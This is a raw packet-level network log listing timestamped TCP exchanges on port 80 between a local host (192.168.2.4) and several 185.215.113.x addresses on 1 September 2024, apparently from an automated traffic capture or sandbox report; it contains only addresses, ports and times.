Sep 1, 2024 05:09:08.224069118 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224078894 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224116087 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224266052 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224278927 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224288940 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224298000 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224308014 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224318027 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224318981 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224337101 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224353075 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224421024 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224431038 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224440098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224448919 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224461079 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224462986 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224509001 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224509954 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224589109 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224597931 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224606991 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224616051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224626064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224633932 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224642038 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224642992 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224653006 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224662066 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224678993 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224678993 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224704027 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224709034 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224755049 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224930048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224940062 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224948883 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224957943 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224965096 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224973917 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224978924 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.224982023 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224991083 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.224998951 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.225011110 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.225030899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.225047112 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.225075006 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.225111961 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.230930090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.230941057 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.230948925 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.230957985 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.230966091 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.230974913 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.230978966 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.230983973 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.230988979 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.230993032 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.230997086 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231005907 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231010914 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231014013 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231024027 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231031895 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231040955 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231049061 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231049061 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231060028 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231069088 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231069088 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231081009 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231089115 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231090069 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231098890 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231106997 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231106997 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231116056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231123924 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231132030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231133938 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231141090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231148958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231163979 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231168985 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231174946 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231184006 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231188059 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231193066 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231203079 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231209040 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231213093 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231218100 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231223106 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231231928 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231240988 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231242895 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231250048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231261015 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231264114 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231271982 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231277943 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231281996 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231287956 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231287956 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231291056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231298923 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231308937 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231319904 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231328964 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231336117 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231338978 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231347084 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231355906 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231364012 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231367111 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231373072 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231381893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231389999 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231391907 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.231411934 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.231431961 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240040064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240088940 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240112066 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240120888 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240130901 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240139008 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240158081 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240169048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240179062 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240181923 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240186930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240215063 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240226984 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240251064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240261078 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240268946 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240298033 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240303993 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240322113 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240350008 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240371943 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240381956 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240391016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240397930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240406990 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240415096 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240417957 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240444899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240456104 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240530968 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240544081 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240552902 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240587950 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240591049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240601063 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240609884 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240611076 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240621090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240629911 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240641117 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240669966 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.240952015 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240962029 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240971088 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240982056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.240992069 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241003036 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241018057 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241096020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241106033 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241127014 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241139889 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241291046 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241301060 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241311073 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241319895 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241329908 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241338968 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241341114 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241350889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241360903 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241370916 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241370916 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241385937 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241391897 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241403103 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241405010 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241414070 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241422892 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241427898 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241434097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241442919 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241451979 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241458893 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241463900 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241473913 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241483927 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241487980 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241497040 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241508007 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.241508007 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241528034 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.241561890 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.242006063 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242016077 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242023945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242033958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242043018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242053032 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.242075920 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.242155075 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242166042 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242175102 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242202044 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.242224932 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.242459059 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242470026 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242480040 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242511034 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.242537975 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.242605925 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242616892 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242628098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242644072 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.242651939 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.242688894 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.242702961 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.282205105 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.282217979 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.282227993 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.282288074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.282288074 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.282299042 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.282308102 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.282318115 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.282336950 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.282347918 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.282360077 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.282388926 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305550098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305562973 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305572033 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305633068 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305675983 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305685997 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305705070 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305716038 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305725098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305735111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305736065 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305744886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305756092 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305763960 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305766106 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305777073 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305785894 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305794954 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305799961 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305804014 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305814028 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305820942 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305823088 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305834055 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305847883 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305850029 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305860996 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305866003 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305870056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305881023 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305890083 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305890083 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305900097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305908918 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.305922985 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.305952072 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:09.010401011 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:09.010724068 CEST	49739	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:09.015561104 CEST	80	49739	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:09.015635967 CEST	80	49737	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:09.015727997 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:09.015739918 CEST	49739	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:09.015841007 CEST	49739	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:09.020632982 CEST	80	49739	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:09.762048960 CEST	80	49739	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:09.762118101 CEST	49739	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:09.763899088 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:09.764556885 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:09.768923998 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:09.768975973 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:09.769315958 CEST	80	49740	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:09.769377947 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:09.769679070 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:09.774405003 CEST	80	49740	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:10.525501013 CEST	80	49740	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:10.525603056 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:11.868055105 CEST	49739	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:11.868390083 CEST	49741	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:11.873162031 CEST	80	49739	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:11.873184919 CEST	80	49741	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:11.873228073 CEST	49739	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:11.873276949 CEST	49741	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:11.891752005 CEST	49741	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:11.896543980 CEST	80	49741	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:12.204081059 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:12.209019899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:12.209091902 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:12.209261894 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:12.213988066 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:12.648423910 CEST	80	49741	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:12.648484945 CEST	49741	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:12.651298046 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:12.652002096 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:12.656323910 CEST	80	49740	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:12.656502962 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:12.656788111 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:12.656853914 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:12.656965971 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:12.661691904 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:12.950489044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:12.950567961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:12.953109026 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:12.957906961 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.215693951 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.215864897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:13.216773987 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:13.221533060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.417959929 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.418023109 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.418025970 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.418064117 CEST	49743	80	192.168.2.4	185.215.113.16
